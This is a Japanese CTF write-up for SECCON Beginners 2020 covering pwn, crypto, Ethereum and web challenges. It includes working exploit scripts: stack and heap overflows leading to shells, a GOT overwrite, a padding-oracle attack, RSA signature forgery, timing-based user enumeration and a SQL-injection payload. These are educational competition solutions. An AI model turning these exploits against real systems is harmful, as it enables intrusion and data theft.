LoginSignup
25
19

More than 3 years have passed since last update.

SECCON Beginners CTF 2020 write-up

Last updated at Posted at 2020-05-24

良問揃いで面白かった。superflipは6位。あと3問……。

tmp.png

score.beginners.seccon.jp_team(capture (1280)).png

score.beginners.seccon.jp_challenges(capture (1280)).png

Pwn

Beginner's Stack

$ nc bs.quals.beginners.seccon.jp 9001
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd89c2fbb0 | 0x0000000000000000 | <-- buf
                   +--------------------+
0x00007ffd89c2fbb8 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd89c2fbc0 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd89c2fbc8 | 0x00007f0055e05170 |
                   +--------------------+
0x00007ffd89c2fbd0 | 0x00007ffd89c2fbe0 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd89c2fbd8 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffd89c2fbe0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffd89c2fbe8 | 0x00007f005580cb97 | <-- return address (main)
                   +--------------------+
0x00007ffd89c2fbf0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffd89c2fbf8 | 0x00007ffd89c2fcc8 |
                   +--------------------+

Input:

初心者向けに親切w しかも飛ばしたいアドレスの末尾が61aだから、手でaを0x29文字打ち込めば良い。改行してしまうと、\nが入ってしまうので、Ctrl+Dで終了する。

Input: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd89c2fbb0 | 0x6161616161616161 | <-- buf
                   +--------------------+
0x00007ffd89c2fbb8 | 0x6161616161616161 |
                   +--------------------+
0x00007ffd89c2fbc0 | 0x6161616161616161 |
                   +--------------------+
0x00007ffd89c2fbc8 | 0x6161616161616161 |
                   +--------------------+
0x00007ffd89c2fbd0 | 0x6161616161616161 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd89c2fbd8 | 0x0000000000400861 | <-- return address (vuln)
                   +--------------------+
0x00007ffd89c2fbe0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffd89c2fbe8 | 0x00007f005580cb97 | <-- return address (main)
                   +--------------------+
0x00007ffd89c2fbf0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffd89c2fbf8 | 0x00007ffd89c2fcc8 |
                   +--------------------+

Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!

残念。でも、親切。ハマりどころ。

ここで、winの冒頭を見てみると、

0000000000400861 <win>:
  400861:   55                      push   rbp
  400862:   48 89 e5                mov    rbp,rsp
  400865:   48 83 ec 10             sub    rsp,0x10
  400869:   48 89 e0                mov    rax,rsp

こうなっている。スタックがpush/pop 1回分ズレれば良いので、先頭のpush rbpを飛ばして次の命令から実行すれば良い。

Input: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffeeb40fe80 | 0x6262626262626262 | <-- buf
                   +--------------------+
0x00007ffeeb40fe88 | 0x6262626262626262 |
                   +--------------------+
0x00007ffeeb40fe90 | 0x6262626262626262 |
                   +--------------------+
0x00007ffeeb40fe98 | 0x6262626262626262 |
                   +--------------------+
0x00007ffeeb40fea0 | 0x6262626262626262 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffeeb40fea8 | 0x0000000000400862 | <-- return address (vuln)
                   +--------------------+
0x00007ffeeb40feb0 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffeeb40feb8 | 0x00007f306b1cab97 | <-- return address (main)
                   +--------------------+
0x00007ffeeb40fec0 | 0x0000000000000001 |
                   +--------------------+
0x00007ffeeb40fec8 | 0x00007ffeeb40ff98 |
                   +--------------------+

Congratulations!
ls -al
total 32
drwxr-xr-x 1 root pwn   4096 May 19 11:29 .
drwxr-xr-x 1 root root  4096 May 19 11:29 ..
-r-xr-x--- 1 root pwn  12912 May 19 11:27 chall
-r--r----- 1 root pwn     34 May 19 11:27 flag.txt
-r-xr-x--- 1 root pwn     37 May 19 11:27 redir.sh
cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
exit

おめでとう!とだけ言われて「あれ?」となるけれど、この時点でシェルは起動しているのでコマンドが通る。

ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Beginner's Heap

これも親切。ヒープの状態などが見られる。

$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7faa395028e8
 <win>: 0x55f67cb9e465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 2
hoge
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 3
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 4
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=-
 [+] A = 0x55f67dd6f330
 [+] B = (nil)

                   +--------------------+
0x000055f67dd6f320 | 0x0000000000000000 |
                   +--------------------+
0x000055f67dd6f328 | 0x0000000000000021 |
                   +--------------------+
0x000055f67dd6f330 | 0x0000000000000000 | <-- A
                   +--------------------+
0x000055f67dd6f338 | 0x0000000000000000 |
                   +--------------------+
0x000055f67dd6f340 | 0x0000000000000000 |
                   +--------------------+
0x000055f67dd6f348 | 0x0000000000000021 |
                   +--------------------+
0x000055f67dd6f350 | 0x0000000000000000 |
                   +--------------------+
0x000055f67dd6f358 | 0x0000000000000000 |
                   +--------------------+
0x000055f67dd6f360 | 0x0000000000000000 |
                   +--------------------+
0x000055f67dd6f368 | 0x0000000000020ca1 |
                   +--------------------+
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 5
-=-=-=-=-= TCACHE -=-=-=-=-=
[    tcache (for 0x20)    ]
        ||
        \/
[ 0x000055f67dd6f350(rw-) ]
        ||
        \/
[      END OF TCACHE      ]
-=-=-=-=-=-=-=-=-=-=-=-=-=-=
1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
>

__free_hookに関数のアドレスを代入すると、freeを呼び出しときにその関数が呼ばれる。

tcacheに繋がれた開放済みのチャンクにヒープオーバーフローなどで書き込みが可能な場合、任意のアドレスAに任意の値Bが書き込める。

  1. メモリを解放してtcacheにチャンクを繋ぐ
  2. アドレスAの値を前のチャンクのヒープオーバーフローで書き込む
  3. メモリを確保する。このメモリは使わない
  4. もう一度メモリを確保すると、アドレスAが返ってくるので、Bを書き込む

今度は非ASCII文字を書き込む必要があるし、サーバーから返ってくる値によって書き込む値を変える必要があるので、スクリプトを書く。この親切な表示だとパースがちょっと面倒だな。

attack.py
from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

s = remote("bh.quals.beginners.seccon.jp", 9002)
t = s.readuntil("get the flag")
for l in t.split(b"\n"):
  if b"<__free_hook>:" in l:
    __free_hook = int(l.split()[-1][2:], 16)
  if b"<win>:" in l:
    win = int(l.split()[-1][2:], 16)

s.sendlineafter("> ", "2")
s.sendline("hoge")
s.sendlineafter("> ", "3")

s.sendlineafter("> ", "1")
s.sendline(b"a"*0x18+pack(0x31)+pack(__free_hook))

s.sendlineafter("> ", "2")
s.sendline("hoge")
s.sendlineafter("> ", "3")

s.sendlineafter("> ", "2")
s.sendline(pack(win))
s.sendlineafter("> ", "3")

s.interactive()
$ python3 attack.py
[+] Opening connection to bh.quals.beginners.seccon.jp on port 9002: Done
[*] Switching to interactive mode
Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
[*] Got EOF while reading in interactive

ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

Elementary Stack

ソースコード付の問題。

main.c
 :
int main(void) {
  int i;
  long v;
  char *buffer;
  unsigned long x[X_NUMBER];

  if ((buffer = malloc(0x20)) == NULL)
    fatal("Memory error");

  while(1) {
    i = (int)readlong("index: ", buffer, 0x20);
    v = readlong("value: ", buffer, 0x20);

    printf("x[%d] = %ld\n", i, v);
    x[i] = v;
  }
  return 0;
}
$ nc es.quals.beginners.seccon.jp 9003
index: 1
value: 0
x[1] = 0
index: 2
value: 3
x[2] = 3

なぜ、0x20バイトの固定サイズのメモリをわざわざmallocで確保しているのだろう? それはbufferを書き換えるため。x[-2]bufferbufferをGOTのatolアドレスにして、下位バイトを書き換えてsystemにすれば、atol(buffer)system(buffer)になってコマンドが実行できる。

簡単かと思ったけれど、実行するコマンドの/bin/shを入力すると、せっかく書き換えたアドレスが/bin/shで上書きされてしまって落ちる。atolではなくその1個前のmallocのアドレスをbufferに設定するようにした。

attack.py
from pwn import *

elf = ELF("chall")
context.binary = elf

libc = ELF("libc-2.27.so")

s = remote("es.quals.beginners.seccon.jp", 9003)

s.sendafter("index: ", "-2")
# 601038 <malloc@GLIBC_2.2.5>
# 601040 <atol@GLIBC_2.2.5>
s.sendafter("value: ", str(elf.symbols['got.malloc']))

s.sendafter("index: ", "0")
s.sendafter("value: ", b"/bin/sh\0"+pack(libc.symbols['system'])[:2])

s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/seccon2020beginners/Elementary Stack/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/mnt/d/documents/ctf/seccon2020beginners/Elementary Stack/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to es.quals.beginners.seccon.jp on port 9003: Done
[*] Switching to interactive mode
$ ls -al
total 28
drwxr-xr-x 1 root pwn  4096 May 19 11:30 .
drwxr-xr-x 1 root root 4096 May 19 11:30 ..
-r-xr-x--- 1 root pwn  8672 May 19 11:29 chall
-r--r----- 1 root pwn    71 May 19 11:29 flag.txt
-r-xr-x--- 1 root pwn    37 May 19 11:29 redir.sh
$ cat flag.txt
ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}

ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}

ChildHeap

解けなかった。

$ nc childheap.quals.beginners.seccon.jp 22476
Welcome to childheap 2020

Last year, I was a baby...
Now I'm not a baby but a child!!!

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 1
Input Size: 10
Input Content: aaa

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2
Content: 'aaa'
Remove? [y/n] y

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2
Content: ''
Remove? [y/n] n

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 3

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2
Content: '(null)'
Remove? [y/n]

脆弱性は、Deleteでポインタのアドレスがそのままなので、解放後の読み出しや、double freeができる。また、Allocで確保したサイズちょうどの文字列を書き込むと1バイト後に\0が書かれる。複数のチャンクを同時に持てないことと、libc-2.29(tcacheのdouble free対策あり)がやっかい。

複数のチャンクを同時に持てないので、一見A=malloc(1), B=malloc(1), free(A), free(B)としてtcacheに複数のチャンクを繋ぐことができなさそう(A=malloc(1), free(A), B=malloc(1)とするとB=Aとなる)。これは、0x110バイトのチャンクを確保、\0のオーバーフローでサイズを0x100に書き換え、解放を繰り返せば何とかなる。あとは解放後のメモリ読み出しでheapのアドレスが得られる。

次にlibcのアドレスが欲しい。そのためにはusortbinにチャンクを繋ぐ必要がある。これは上述の方法で7回メモリを解放すれば、次はusortbinに行く。問題は、上書きできるのが\0prev_inuseビットが寝ており、前のチャンクと統合されること。heapのアドレスがすでに分かっているので、ここでエラーを出さないようにすることはできる。でも、usortbinのアドレスは統合された前のチャンクのfdに書かれるので読み出せない。前のチャンクのアドレスを確保しても、AllocでNUL終端文字列で上書きされてしまう。どうしろと。

prevsizeを0にして、「前のチャンクも自分自身だ」する手を思いつき、2.27では動いたけど。2.29では対策されていた。2.27はこのチェックが無かった。

malloc.c
 :
    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }
 :

flip

深夜36時くらいまで粘ったけれど解けなかった。悔しい。

$ nc flip.quals.beginners.seccon.jp 17539
Input address >> 6295552
You can flip two times!
Which bit (0 ~ 7) >> 1
Which bit (0 ~ 7) >> 4
Done!

好きなアドレスを2ビットフリップできる。

flip.c
    printf("Which bit (0 ~ 7) >> ");
    bit = getlong();
    if (7 < bit) break;
    *addr = *addr ^ (byte)(1 << ((byte)bit & 0x1f));
    i = i + 1;

こんな感じの処理なので、-8とか入れればその分はキャンセルされて1ビットだけフリップすることもできる。

2ビットフリップしたらプログラムが終了する。そんなんで何もできるわけがないので、まずは終了時にmainが再度呼ばれるようにするのが定跡。exitは終了時にしか呼び出されず、PLTのアドレスが入っているのですぐ近くの_startに書き換える。

最終的には、すでにアドレスを解決済みの関数のアドレスを書き換えて、One-gadget ROPに飛ばしたい。プログラムの実行中に呼ばれる関数では書き換えている途中に呼び出されてしまうのでダメ。setbufが良さそうじゃない?と思ったが、_startからの処理の流れで呼ばれる。

そこで、まずは__stack_chk_failのアドレスを書き換えてmainにした。その後、exitをPLTの__stack_chk_failに飛ばすようにする。これはアドレスが近いの1度でできる。そうするとsetbufが呼び出されなくなるので、One-gadget ROPに書き換え、最後にexitsetbufに飛ぶようにする。「数ビット分の運が必要だが何とかなるだろ」と思ったけれど、動きませんね。終。

attack.py
from pwn import *
import time

#context.log_level = "debug"

s = remote("flip.quals.beginners.seccon.jp", 17539)
#s = remote("localhost", 7777)

# got.exit -> _start
s.sendlineafter("Input address >> ", str(0x601050)) # got.exit
s.sendlineafter("Which bit (0 ~ 7) >> ", "4")
s.sendlineafter("Which bit (0 ~ 7) >> ", "5")

stack_fail = 0x400676
main       = 0x4007fa

for i in range(64):
  if stack_fail>>i&1^main>>i&1:
    s.sendlineafter("Input address >> ", str(0x601020+i//8))
    s.sendlineafter("Which bit (0 ~ 7) >> ", str(i%8))
    s.sendlineafter("Which bit (0 ~ 7) >> ", "-8")

# got.exit -> __stack_chk_fail
s.sendlineafter("Input address >> ", str(0x601050))
s.sendlineafter("Which bit (0 ~ 7) >> ", "1")
s.sendlineafter("Which bit (0 ~ 7) >> ", "2")

s.sendlineafter("Input address >> ", str(0x601050))
s.sendlineafter("Which bit (0 ~ 7) >> ", "4")
s.sendlineafter("Which bit (0 ~ 7) >> ", "7")

setbuf = 0x884d0
rce    = 0x4f2c5

for i in range(64):
  if setbuf>>i&1^rce>>i&1:
    s.sendlineafter("Input address >> ", str(0x601028+i//8))
    s.sendlineafter("Which bit (0 ~ 7) >> ", str(i%8))
    s.sendlineafter("Which bit (0 ~ 7) >> ", "-8")

# got.exit -> setbuf
s.sendlineafter("Input address >> ", str(0x601050))
s.sendlineafter("Which bit (0 ~ 7) >> ", "4")
s.sendlineafter("Which bit (0 ~ 7) >> ", "7")

s.interactive()

Crypto

R&B

problem.py
from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

これを複数回適用したものがencoded_flag。

solve.py
t = open("encoded_flag", "rb").read()
while True:
  t = t[1:].decode("rot13" if t[0]=="R" else "base64")
  print t

Python 2なら、どちらも"".decode()で処理できて便利。

ctf4b{rot_base_rot_base_rot_base_base}

Noisy equations

ランダムな行列$C_i$とフラグのベクトル$F$、ランダムなベクトル$R$に対して、$C_iF+R=A_i$としたときのベクトル$A_i$と$C_i$がサーバーから返ってくるので、$F$を求めよという問題。$R$は固定で、$C_i$は毎回変わる。

2回サーバーに繋いで結果を得る。$C_1F+R=A_1$と$C_2F+R=A_2$の両辺を引き算すれば、$(C_1-C_2)F=(A_1-A_2)$となって$R$が消えるので連立方程式を解けば良い。桁数が256bitだから「実数では精度が足りないよな」と思って割り算しないで解いていたら桁が大きくなりすぎて終わらなかった。256以上の素数のmodで計算した。modは競プロ以外でも役に立つ。

solve.py
C1 = [[8222072246483494885558937253711759803473433072559584130447177371987319...
A1 = [25201795883146818530176813817097988167398037038104990014284592316829137...
C2 = [[1068929100013840543900491331318986051225858798303685501997405768464612...
A2 = [19759826979132496779627843097182162204416223472780573210448257483411715...

M = 0x10000000000000000000000000000000000000000000000000000000000000129

N = len(A1)
C = [[0]*(N+1) for _ in range(N)]
for y in range(N):
  for x in range(N):
    C[y][x] = (C1[y][x]-C2[y][x])%M
for i in range(N):
  C[i][N] = (A1[i]-A2[i])%M

for y in range(N):
  assert C[y][y]!=0
  t = C[y][y]
  for x in range(N+1):
    C[y][x] = C[y][x]*pow(t, M-2, M)%M
  for yy in range(N):
    if yy!=y:
      t = C[yy][y]
      for x in range(N+1):
        C[yy][x] = (C[yy][x]-C[y][x]*t)%M

print "".join(chr(C[i][N]) for i in range(N))
$ python2 solve.py
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

RSA Calc

$ nc rsacalc.quals.beginners.seccon.jp 10001
N: 104452494729225554355976515219434250315042721821732083150042629449067462088950256883215876205745135468798595887009776140577366427694442102435040692014432042744950729052688898874640941018896944459642713041721494593008013710266103709315252166260911167655036124762795890569902823253950438711272265515759550956133
----------
1) Sign
2) Exec
3) Exit
> 1
data> 1,2,+
Signature: 371d4e6cf26fe1d059a05cab55bc270bfdb29b992a521747dc25c38e3b66d9dacd85b5ed1e509cddec6f3e26f2ddacbf2a9c70478df26e85f10e0200a02ee552130b0792325836a4d897faf32f098510249a6cd29bedde677ff10ffd31c97822bfd009c43374e80436f127ceef2104af80b2c9a1f2eff95f8d86cf488c3203dc
----------
1) Sign
2) Exec
3) Exit
> 2
data> 1,2,+
signature> 371d4e6cf26fe1d059a05cab55bc270bfdb29b992a521747dc25c38e3b66d9dacd85b5ed1e509cddec6f3e26f2ddacbf2a9c70478df26e85f10e0200a02ee552130b0792325836a4d897faf32f098510249a6cd29bedde677ff10ffd31c97822bfd009c43374e80436f127ceef2104af80b2c9a1f2eff95f8d86cf488c3203dc
Answer: 3
----------
1) Sign
2) Exec
3) Exit
> 1
data> F
Error

計算式にRSAで署名をして、署名が正しければ実行してくれる。1337,Fでクリアだが、1337Fが計算式に含まれていると署名してくれない。

1337,F,????????の平方根に署名をさせて、二乗した。多少値はずれるけど、F,以降の値は何でも良い。以下のコードのxは、たまたまFが含まれたので回避するため。

attack.py
from pwn import *
from Crypto.Util.number import *

#context.log_level = "debug"
s = remote("rsacalc.quals.beginners.seccon.jp", 10001)

N = int(s.readline().split()[-1])

a2 = bytes_to_long("1337,F,x"+"\xff"*8)
a = int(a2**.5)

s.sendlineafter("> ", "1")
s.sendlineafter("data> ", long_to_bytes(a))
sign = int(s.recvline().split()[-1], 16)

s.sendlineafter("> ", "2")
s.sendlineafter("data> ", long_to_bytes(a**2))
s.sendlineafter("signature> ", hex(sign**2%N)[2:])
print s.recvline()
$ python2 attack.py
[+] Opening connection to rsacalc.quals.beginners.seccon.jp on port 10001: Done
ctf4b{SIgn_n33ds_P4d&H4sh}

ctf4b{SIgn_n33ds_P4d&H4sh}

Encrypter

暗号化と、復号と、フラグを暗号化した文字列を返す機能のあるウェブサービス。ただし、復号は

ok. TODO: return the result without the flag

という文字列が返ってくるだけ。正しく復号できたかどうかは教えてくれるが、たとえフラグが含まれていなくても復号結果は返してくれない。Padding Oracle Attack。

AESは16バイトなどの固定長のブロックに対する暗号である。単純に平文を16バイトごとに区切って暗号化するだけだと脆弱なので、前のブロックの結果を次のブロックに加えるようになっている。

image.png

暗号利用モード - Wikipedia

平文はブロックサイズの定数倍とは限らない。そこで、末尾に... 01... 02 02... 03 03 03、…のいずれかを加えてブロックのサイズの定数倍にすることが多い(PKCS#7)。これならば末尾を見ると何バイト追加されたのかが分かって元に戻せる。

復号に成功したかどうかを教えてくれるということは、最後のブロックの末尾がこの形式になったかどうかを教えてくれるということである。どれになったかは教えてくれないものの、01を探しているときにたまたま02 02になる確率は低いので問題無い。復号したいブロックを末尾にして、細工したブロックをその前に付けることにより。1バイトずつ総当たりすることができる。計算量が$2^{16\times 8}=2^{128}$から$16 \times 2^8=2^{12}$に落ちる。まあ、数十分は掛かるけど。

attack.py
import urllib
import json

def oracle(data):
  data = {
    "mode": "decrypt",
    "content": "".join(map(chr, data)).encode("base64")
  }
  res = urllib.urlopen(
    "http://encrypter.quals.beginners.seccon.jp/encrypt.php",
    json.dumps(data)).read()
  return u"result" in json.loads(res)

flag = "1hFKJjGc/isxjnZS/5T7Z0vLhOURPu3a7xNx+dhVXP6ZodHJLyhTkd7g3cHUz5vsaTa+xoevcvCNQVxbaOZalA==".decode("base64")

for i in range(16, len(flag), 16):
  C = map(ord, flag[i:i+16])
  P = [0]*16
  for j in range(16):
    print ".",
    for c in range(256):
      P[-j-1] = c
      IV = [x^(j+1) for x in P]
      if oracle(IV+C):
        break
  print "".join(chr(p^c) for p, c in zip(P, map(ord, flag[i-16:i])))
>py -2 attack.py
. . . . . . . . . . . . . . . . ctf4b{p4d0racle_
. . . . . . . . . . . . . . . . 1s_als0_u5eful_f
. . . . . . . . . . . . . . . . 0r_3ncrypt10n}

ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}

C4B

EthereumのSolidity。ときどき見るな。一度くらいは解いてみたいので、テストネットのEthereumを手に入れるところまではやって、後で腰を据えてやろうと思ったら、ChildHeapとflipが解けずに時間切れ。

解いたので、追記。

問題は、

C4B.sol
pragma solidity >= 0.5.0 < 0.7.0;

contract C4B {

  address public player;
  bytes8 password;
  bool public success;

  event CheckPassed(address indexed player);

  constructor(address _player, bytes8 _password) public {
    player = _player;
    password = _password;
    success = false;
  }

  function check(bytes8 _password, uint256 pin) public returns(bool) {
    uint256 hash = uint256(blockhash(block.number - 1));
    if (hash%1000000 == pin) {
      if (keccak256(abi.encode(password)) == keccak256(abi.encode(_password))) {
        success = true;
      }
    }
    emit CheckPassed(player);
    return success;
  }
}

ソースコードは特に難しいことはなく、コンストラクタで指定したpasswordと、直前のブロックのハッシュ値の下6桁であるpinを入力すれば良い。MetaMaskを入れて問題の指示に従ってデプロイすると、このC4BのインスタンスがEthereumのブロックチェーン上に生成されるので、それに対してcheckメソッドを呼び出す。それをどうすれば良いのかが分からなかった。

https://remix.ethereum.org/ を開いてEnvironmentsでSOLIDITYを選択するとコンパイルやデプロイができるようになる。

image.png

適当なファイル名でファイルを作って問題のソースコードを貼り付けて、「SOLIDITY COMPILER」でコンパイル、「DEPLOY & RUN TRANSACTIONS」の「ENVIRONMENT」で「Injected Web3」を選択、「CONTRACT」で今作ったファイルのC4Bを選択、「AtAddress」に問題のページに表示されている自分のコントラクトのアドレスを入力してクリック、でメソッドの呼び出しや、publicなフィールドの値の確認ができるようになる。Ethereumのスクリプトはコンパイルしてブロックチェーンに書き込まれるので型情報などは別に必要らしい。

image.png

手でpinを計算して実行すれば良さそうだけど、PINの計算には直前のブロックのハッシュ値が必要。ただ、Ethereumのブロック生成間隔は十数秒で、Etherscanへの反映も遅いので間に合わない。このメソッドを呼び出す別のコントラクトを作ることにした。

ところで、passwordは? JavaScriptのソースコードを見てもパスワードを設定している処理は見当たらず、てっきり初期値の0x0000000000000000でも設定されているのかと思ったけど、そうではなかった。問題のスクリプトでは作問者の作ったコントラクト

に対して、自分のアドレスを送信している。問題のソースコードのコントラクトのデプロイはこのコントラクトが行っている。Contractから逆コンパイルした結果が見られる。

#
#  Panoramix v4 Oct 2019 
#  Decompiled source of ropsten:0xBa0C16D30DAc50d6530B7D405c901bA611312f01
# 
#  Let's make the world open source 
# 

def _fallback() payable: # default function
  revert

def unknown4c96a389(addr _param1) payable: 
  require calldata.size - 4 >= 32
  create contract with 0 wei
                  code: 0xfe608060405234801561001057600080fd5b506040516102703803806102708339818101604052604081101561003357600080fd5b508051602090910151600080546001600160a01b0319166001600160a01b0390931692909217600160a01b600160e01b031916600160a01b60c09290921c919091021760ff60e01b191681556101e190819061008f90396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c80630b93381b1461004657806348db5f8914610062578063c577930a14610086575b600080fd5b61004e6100b3565b604080519115158252519081900360200190f35b61006a6100c3565b604080516001600160a01b039092168252519081900360200190f35b61004e6004803603604081101561009c57600080fd5b506001600160c01b031981351690602001356100d2565b600054600160e01b900460ff1681565b6000546001600160a01b031681565b600060001943014082620f42408206141561016057604080516001600160c01b03198087166020808401919091528351808403820181528385018552805190820120600054600160a01b900460c01b909216606080850191909152845180850390910181526080909301909352815191909201201415610160576000805460ff60e01b1916600160e01b1790555b600080546040516001600160a01b03909116917f320f420edbd58b0816e3c933b93878e7c130093cdc9237d2e3a855b724f69c9491a25050600054600160e01b900460ff169291505056fea2646970667358221220847acddc65835de532668e5c0c467e8906f287b7ccd0665a6763dd424e10be6a64736f6c634300060600, addr(_param1), Mask(64, 192, sha3(block.hash(block.number - 1)))
  if not create.new_address:
      revert with ext_call.return_data[0 len return_data.size]
  log 0xbe099bcc: addr(create.new_address), _param1

ということで、パスワードはMask(64, 192, sha3(block.hash(block.number - 1)))。これはSolidityのコードではなくこのままでは使えないが、C4Bの逆コンパイル結果と見比べると、たぶん等価なSolidityコードはbytes8(keccak256(abi.encode(blockhash(7967250 - 1))))。ということで、下記のコードのSolveをデプロイしたら通った。

Solve.sol
pragma solidity >= 0.5.0 < 0.7.0;

import 'C4B.sol';

contract Solve {
    constructor() public {
        C4B(0xd6E1c72F285e7A00fDD8B3e3314BF7b4bdB7e74F).check(
            bytes8(keccak256(abi.encode(blockhash(7967250 - 1)))),
            uint256(blockhash(block.number-1))%1000000);
    }
}

image.png

たとえpublicではないフィールドでも、他のコントラクトからはアクセスできないというだけであり、ブロックチェーン上に値は書かれていて誰でも見られるはず。

image.png

これがそうだろうか。プログラムで計算しなくても、0x8f473bcdaf05f5caで通るのかもしれない。

ctf4b{c4b_me4ns_c0ntract4beg1nn3rs}

Web

Spy

ユーザ列挙攻撃をしろという問題。

app.py
 :
        exists, account = db.get_account(name)

        if not exists:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))

        # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
        # You know, it's really secure... isn't it? :-)
        hashed_password = auth.calc_password_hash(app.SALT, password)
        if hashed_password != account.password:
            return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t))
 :

こうしてしまうと、実行時間でアカウントの有無がバレる。ネットワーク越しだとネットワークでの誤差があるのでなかなか大変だが……この問題ではサーバー側での実行時間を教えてくれる。

$ cat employees.txt | while read x; do echo ${x}; curl -sS -d "na
me=${x}&password=hoge" https://spy.quals.beginners.seccon.jp/ | grep 'It took'; done
Arthur
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003706 sec to load this page.</p>
Barbara
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0002144 sec to load this page.</p>
Christine
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0008450 sec to load this page.</p>
David
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003488 sec to load this page.</p>
Elbert
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.3170451 sec to load this page.</p>
Franklin
            <p style="font-size: 12px; color: #aaaaaa;">It took 0.0003582 sec to load this page.</p>
George
 :

Elbert, George, ...がスパイ。

ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}

Tweetstore

webserver.go
 :
    var sql = "select url, text, tweeted_at from tweets"

    search, ok := r.URL.Query()["search"]
    if ok {
        sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
    }

    sql += " order by tweeted_at desc"

    limit, ok := r.URL.Query()["limit"]
    if ok && (limit[0] != "") {
        sql += " limit " + strings.Split(limit[0], ";")[0]
    }
 :

SQL Injection。limitは素通しだが、limitの後にunion select ~はできないらしい。searchのほうは'\'をにしているものの、\がそのままなので\'を入力すると\\'となって、'が効く。ありがちなミス。

「フラグが無いんだけど :anger: 」でハマってしまった。ちゃんとソースコードに書いてありました。

webserver.go
 :
func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"

    connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
 :

\' union select url, session_user, tweeted_at from tweets --で検索。session_userが肝。型があっていないからか適当に0とかにするとエラーになるので、他の項目はtweetsから持ってきた。

unzip
